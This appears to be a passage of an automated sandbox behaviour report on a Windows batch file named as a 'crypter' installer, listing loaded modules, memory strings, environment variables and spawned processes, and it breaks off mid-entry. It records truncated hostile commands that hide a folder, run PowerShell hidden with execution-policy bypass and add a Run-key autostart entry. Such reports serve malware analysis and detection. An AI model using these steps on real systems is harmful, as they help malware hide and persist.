"API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffe69b50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffe24120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe40ec0000 "reg.exe" loaded module "KERNEL32" at base 7ffe69810000 "reg.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe68b00000 "reg.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe68b00000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe68b00000 "reg.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffe69590000 "reg.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe68b00000 "reg.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe68b00000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe68b00000 "reg.exe" loaded module "KERNEL32.DLL" at base 7ffe69810000 "reg.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffe67ae0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe403c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffe32bc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffe58b50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffe57ad0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffe41480000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffe57ac0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe40320000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe401e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffe32310000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe3a150000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe321a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffe31810000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffe314a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe40170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffe3f3d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe40670000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffe31260000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe46a90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffe272c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe3f870000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffe53390000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffe46aa0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffe42dc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffe5b370000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe3f7d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe3f660000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe3f4f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe3f3b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffe3eb00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffe3e170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffe3de00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe3dd90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffe3dcb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe41480000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffe3b2e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffe31ea0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe58c50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffe31c60000 "powershell.exe" loaded module "KERNELBASE" at base 7ffe68b000003b:T683,Found string "$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "if(Test-Path -LiteralPath $filePath -PathType Container)" (Indicator: "Test-Path"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ReadError -ErrorId "FileReadError" -TargetObject $FilePath" (Indicator: "Write-Error"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "Write-Output -InputObject $byteCollectionObject" (Indicator: "Write-Output"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -LiteralPath $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -Path $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolvePathError"" (Indicator: "Write-Error"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "foreach($resolvedPath in (Resolve-Path @PSBoundParameters))" (Indicator: "Resolve-Path"; Source: "00000000-00003984.00000001.136212.9D1AA000.00000004.mdmp")3c:T5ec,Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00002212-00000BC0-1101967539] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\cmd.exe" [Source: 00000000-00002212-00000BC0-1103828855] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00002212-00000BC0-1103831245] Observed system executable string:"%WINDIR%\system32\cmd.exe /K "C:\STAZ520_Crypter_Install.bat"" [Source: 00000000-00002212-00000C46-2885856682] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\attrib.exe" [Source: 00000000-00003400-00000BC0-1105315808] Observed system executable string:"%WINDIR%\system32\attrib.exe" [Source: 00000000-00003400-00000BC0-1105318388] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003400-00000BC0-1105418709] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003400-00000BC0-1105420169] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\reg.exe" [Source: 00000000-00003400-00000BC0-1115444311] Observed system executable string:"%WINDIR%\system32\reg.exe" [Source: 00000000-00003400-00000BC0-1115445763] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\do4x3zh4\do4x" [Source: 00000000-00008016-00000C46-42444541831]3d:T2481,Process "cmd.exe" (UID: 00000000-00003400) was launched with new environment variables: "b61c598f7208d494d016f7f05fbefdf42fea9b3a85574f80e78d9f6e93ee="3e2cfe3f55c477df9f3cce26ae44466cbcfe331caaef82cb8c", 86a9e0641cd2a7148fbd59b7c514d84ce59443507ae4fb605777429dae11="414bc594d288108157973bec5a0cf2386c7c882b6164152f79", aefca76cc78852996cf628a3538d658e8801dad0a8e902c07b8aa1e4a6cf="e958f492493bbd8876dd68122a42b52a79b41b895d5845016a", d7cea312421d40f1d22a75217fe2a013efb171feb0bd5183a9c37d900bbf="439d758259bb38a97559abe16d23bd2a3eb0736fe6d23ce894", bbc46cb5e7a028e99fcfe79b79e29cbe7d9541bd037d0e8e6b787e793989="4ec4bba636d6a840a2d1155b268b9100330ae38a468e71d2f9", 387da86391a0a1c48b7a917fc5de3520426f02a9ef3f48f4034e615def78="e2cc3713c068409f6c5a5d748aff2b2dfefdce84a24424d489", 31369a93f8aec0a1b9fcf3860c5e0d4850620eb39a431bc2fbbd54632f68="90ec04c765159f2b39754096418fea50bea74697191bb34634", 3cf2ad92a4ab303c2cec7fd98e82b1b7a48f1ffd7795058b5a14b2dfd02f="d636831def0945cd6642b325da091b5b7675e363fd52a17acd", 0fa09bbd7ab7c60a1411fe96abed6d07735703e1337b0586fc7817d0186f="21f7e188ceb75e3914a6a37bce823e2b9269458e3f738de96d", 5e77e5dacdd95765655cadec583d1c7453de5dafcced4c572bb32f097bdf="bf70b4bc8b6ef7ea88bdc25cac2169d6cb587cd71b0fdd1845", 2b0047778bf5a3595c02436868eeeab3edf997a57daf5ed3a58bc63a8635="bbbb502aa3ae2db7ed1bb4fc1cab9c835dc4b8dc3d16109a4c", 44440938b14f238e5cdb34b3ed561dc4c6adc2fa97dd88901fbac6e545a2="fb94cbadd15df64605163c87487410327b9f9cc84bfe542536", USERDNSDOMAIN="DESKTOP-8LD9T6N", f9b78f4ff8dabcbf2e1fe1b4a76d47d50adcebaf5a99675fbbcadf858941="cadfa0eab27f6b0bae6348f892308a462433d152fc80056018", 19a95f20447ec6676ddb79b9b4125a248ea7a7727f6f67f40088ba653c01="65ac45270ce515df3baa00a9a035123a5c35041a399c5a3b37", a214dccc9a6265b95ad30123f62edc68b4910650bb81dcfc626d407c75a3="ba909182ff3c579ed112b0e13c614ddb87f97de565d8072763", a3d6c57e0fca4f56ff64723859310c66b76293d5087bd63b1369e0bb3459="d2a863ab5dc7b3518193b3ee87a14311626b9fbe44af020283", 89666fd7a478d91c8add968015be3d48d9b0794c17bf5291aa2a7718e5ed="8551d1d67d9a5d70a1cee8d1d5a23726816d9f62012c1c6e67", e9920e2e677541721a77e27be953280735aa46430f0dfa0de11fb399882a="c1d3ed5392eac8e85d6c41b1ba944c67185437d2067a71c8ec", 410ac76fbf230ea16145ca4462e393ed69d2b20be864a5900e98fd527776="4d67f888d4f960f41c7aba390c60d0bdf6f6fcc08636b90dcd", 847039061ddd06075730c9efe2e9cea4d07ca3426f617ffbf3945e22487f="9cd507340bdfbbb43e798f9451897b6b2b7f08e8305c833964", 5e84ffc9460c04c465aa8e44fc7f558e08f2ad2af52d3971511be36dc66c="d00caed4ad1f0ca93507665b54afa1d1c0679e16c91c09e443", 439d37362812adc7c01defca810230000115129ac5f87f149772ba5e2275="848c34b0e067b6e0cee2e3667c5ba0f60d522971c6158d3f3d", faa5617bde07c80e2bb2d9402c8aacf64980ac856375acdaf79a078f050d="64404bdb5362f280588deb6860ca6b81d5aa9ee12968023a7d", 927b2ebc7dfcbdb8ce571da0395ba2f4ca0cf2ab11e9f0a5f5755f2c129f="a4254626cf6affba936c883e9d420b3362b26d8bac31e02029", 4a8a972b501369efa6f81d1768b02a20180fa90ccf031dbbc53ba9751fe8="c48f9cb535e245a421d905dcdebcf2eb70d3bf9b17f268149e", b1b91ebae9b4895d0936844a0ed37229ce31d1163540f50cd9bcd9bea06e="f23a592bc19d83aac9feb92d5d592fb6bfbbfb93479b00740e", 64ded73fc100a94e1e38c9879cf7317db7016becce04253a97d16d97d11b="15678a732d8c5a12b709c1a6e62d823c0291f07b14eafcb071", f10ac33042758e66f7a87cbe7910ca748fc03666c08baa2ae8fd52ab2c19="12408c831085545fbb394312f5bf6abde052dc283fcf216a6d", 667cc19019371501ffb40efacb782ab6c91c41f7789303c10136f15a0eec="2bb5fc85bafcc36a5119eae3c278568e88b4fe6106edf5f08f", 9098ce18fa0346f8a732f01a2ac5d4a6bd72914fbcce2c22c679df3875da="e1507be71e28202e5e9b4cae66b0c61c3d4f665c173e15cf06", 800221586e9699c06956fe7d89bc6bda7ddaa1092122270d8e0ed6e5018f="0f371ba16363f0b569014ec081c07c0756fa7f47077c93dccd", 006f87e568376776642204e4582a60ac40163ade02db1d45e6fcb3a3704f="732ddbfe5ceb485e14b503f5a9aefd525a01b367a55e1fbd76", 19d85c7db76b99c2596d4a1df84b433e05bddc8fd04d078d4d01db7f2c3f="c6bc9d10f8d50e99809d944eae93946a4169f05d7ebe589115", dedb1cfdf66e4b0fdc90c1d81b67c85928ce00fd691f9aa89dce02a95869="eabdcda4306ad47973e77c5ce456b2a665aa8e3b099e3cee58", 1f39f256f798f8f72b4c87607fdeb8523f90e86b1ed6f23704512bab6b4a="4b472774800b58846a18d7c9cae442183ba71306c517bc4b80", 4618368f03893a77b4bb5c5ea30727232435847095f04f1868e03cfe46fd="a637312956b6ab47cdae3a5cfe56a4f039df2124346dd5890c", 4fb2dfe8650c44db679f4dcb7d642d2b3b6912297410f452903f3a5f5f72="e383acda9c6ba8a2b91f4ae238eb2b26cd515ffcca3865aa74", 3ff257e18e3ecdf390ed7b7f1f0559edae2a16fed3f24464917e57bfac3c="12ddfcd9f11eaac18f99e4bfaa4c96412124662b0c9bfbb205", 47a58ed590ab6cec33a7f56ecd64ec6477d495f0aa1103f37afa83720297="dd877a33db1058fdc2cfab7c191a4686eff90a56261925f048", bd4a8e63884de72711d864b200c0d26eb966ee7a023515856bd6141a1368="355f907a7de44e30d0b5fb7d007c6b8b447b640e3a9cbdc820", 222fb7836355637838448c3ad913b01cec65980e59bac51374e32977eb4d="9f1d6e0306e97e398a12d23fac3e848a4cfed86b830c366194", 82fe86b253fa032b5fd3058061ef6abb0f16b85dd7425f6303c787102b8f="ce048a357b470a906c228b4763fc852d9355708d6cfcb328f8", IS_MINIMIZED="1", b4fa10a3aded9a04961ccbaad6f85216dca2a33cc1f10c72b44ff5028940="14f1a93ca01114b644bd60340326ff08bccf880e7ce7ae4e1d", 5e1fc066825ca9ec636811bf04cf859f66a3d52d982779eeacbf035d1da7="53db4ca9a7cf05e66cd3bd575ddc93c6fda71b0d5b65942869", 34ca6a47794b69efeedf7e275041811fbd0c863705bb3d93b77fa94e9849="966f6bffb640d5b5c4ca48ac43832e6e41bd39ff445c27fa91", b5c23badd17a2bf3bb08a7ec24eb9569553766698841b44f8fc54015a12c="de6ca14db233854e7a5d0e423bb3fa7168dc7b509af47fcdd3", ae01c0235d08e61a344ed80ff6cb61b93d3b88d64a0d2d1bfbd5a59d869f="9b1529048c1c7129607516f7df1448ed5a1aded150a69c0b79", 9531e15473407e5bf39120ee1a77562dbde98b55181bd0b55877632b6c35="e6ad93f37116ec7ce4671dd65c6f16aec1cf0e89407a92d7b2", 1fe70839e7c84d76f944a52f363e1473b98310f30f662f9c270ef4df51b2="128033fb4723498cf27cedb121c1bf54381a89f7ffafe985eb", cbd684252755338c53370489346e66257ed9f58f82e91fed74a58ba74955="ef9b3354e7b37217753e27df56abc5a1a9a1c4c232d25a6854"" Process "cmd.exe" (UID: 00000000-00003400) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00003400) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "attrib.exe" (UID: 00000000-00001176) was launched with new environment variables: "e93cac47d8="%APPDATA%\Microsoft\118f410eb6ac\e321775766cf4f3d.bat", HIDDENFOLDER="%APPDATA%\Microsoft\118f410eb6ac", TEMPPS="%TEMP%\ps_f8c40b9e.ps1"" Process "reg.exe" (UID: 00000000-00007468) was launched with new environment variables: "retry="0"" Process "csc.exe" (UID: 00000000-00004252) was launched with new environment variables: "computername="DESKTOP-8LD9T6N", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\Program Files (x86)\Common Files\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%WINDIR%\System32\OpenSSH\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", comspec="%WINDIR%\system32\cmd.exe", is_minimized="1", tmp="%LOCALAPPDATA%\Temp", hiddenfolder="%APPDATA%\Microsoft\118f410eb6ac", sslkeylogfile="%TEMP%\sslkey.txt", userprofile="C:\Users\%OSUSER%", programfiles="C:\Program Files", processor_level="6", userdomain_roamingprofile="DESKTOP-8LD9T6N", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architecture="AMD64", logonserver="\\DESKTOP-8LD9T6N", nvm_symlink="%PROGRAMFILES%\nodejs", tempps="%TEMP%\ps_f8c40b9e.ps1", programdata="C:\ProgramData", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\(x86)\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", systemdrive="C:", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", psexecutionpolicypreference="Bypass", homepath="\Users\%OSUSER%", sessionname="Console", processor_revision="4f00", driverdata="%WINDIR%\System32\Drivers\DriverData", localappdata="%USERPROFILE%\AppData\Local", number_of_processors="8", userdnsdomain="DESKTOP-8LD9T6N", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", efc_5644="1", systemroot="C:\WINDOWS", userdomain="DESKTOP-8LD9T6N", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", prompt="$P$G", _clrrestrictsecattributes="1", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00004252) was launched with missing environment variables: "NVM_SYMLINK, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, SystemDrive, USERNAME, ProgramFiles(x86), PATHEXT, DriverData, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, PUBLIC, HIDDENFOLDER, PROMPT, OneDrive, APPDATA, IS_MINIMIZED, Path, COMPUTERNAME, ComSpec, EFC_5644, HOMEDRIVE, NUMBER_OF_PROCESSORS, USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, PROCESSOR_ARCHITECTURE, PSModulePath, TEMPPS, USERDNSDOMAIN, ProgramData, ProgramW6432, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, CommonProgramFiles, OS, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, SystemRoot, TEMP, USERPROFILE, TMP, CommonProgramFiles(x86)"3e:T10e0,Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\do4x3zh4\do4x3zh4.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\do4x3zh4\do4x3zh4.0.cs"" [Source: do4x3zh4.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00001132-00000C2A-1106482526] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00001132-00000C2A-1107063130] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00001132-00000C2A-1107249197] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001132-00000C2A-1107405645] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00001132-00000C2A-1107608834] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00001132-00000C2A-1107671696] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00001132-00000C2A-1107874391] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001132-00000C2A-1107954518] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00001132-00000C2A-1108052367] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00001132-00000C2A-1108107613] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001132-00000C2A-1108221688] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00001132-00000C2A-1108572245] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00001132-00000C2A-1108719640] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001132-00000C2A-1109222965] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00001132-00000C2A-1109227571] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00001132-00000C2A-1109535369] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00001132-00000C2A-1109772293] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00001132-00000C2A-1109819656] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00001132-00000C2A-1109900156] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00001132-00000C2A-1109988926] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00001132-00000C2A-1111083285] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00001132-00000C2A-1111518453] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll" [Source: 00000000-00001132-00000C2A-1111600288] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00001132-00000C2A-1111624069]3f:T43a,Spawned process "cmd.exe" with commandline "/K "C:\\STAZ520_Crypter_Install.bat"" (UID: 00000000-00003400) Spawned process "attrib.exe" with commandline "attrib +h "%APPDATA%\\Microsoft\\118f410eb6ac"" (UID: 00000000-00001176) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-Con ..." (UID: 00000000-00001132), Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00007468) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "try { $ ..." (UID: 00000000-00003984), Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%T ..." (UID: 00000000-00008016) Spawned process 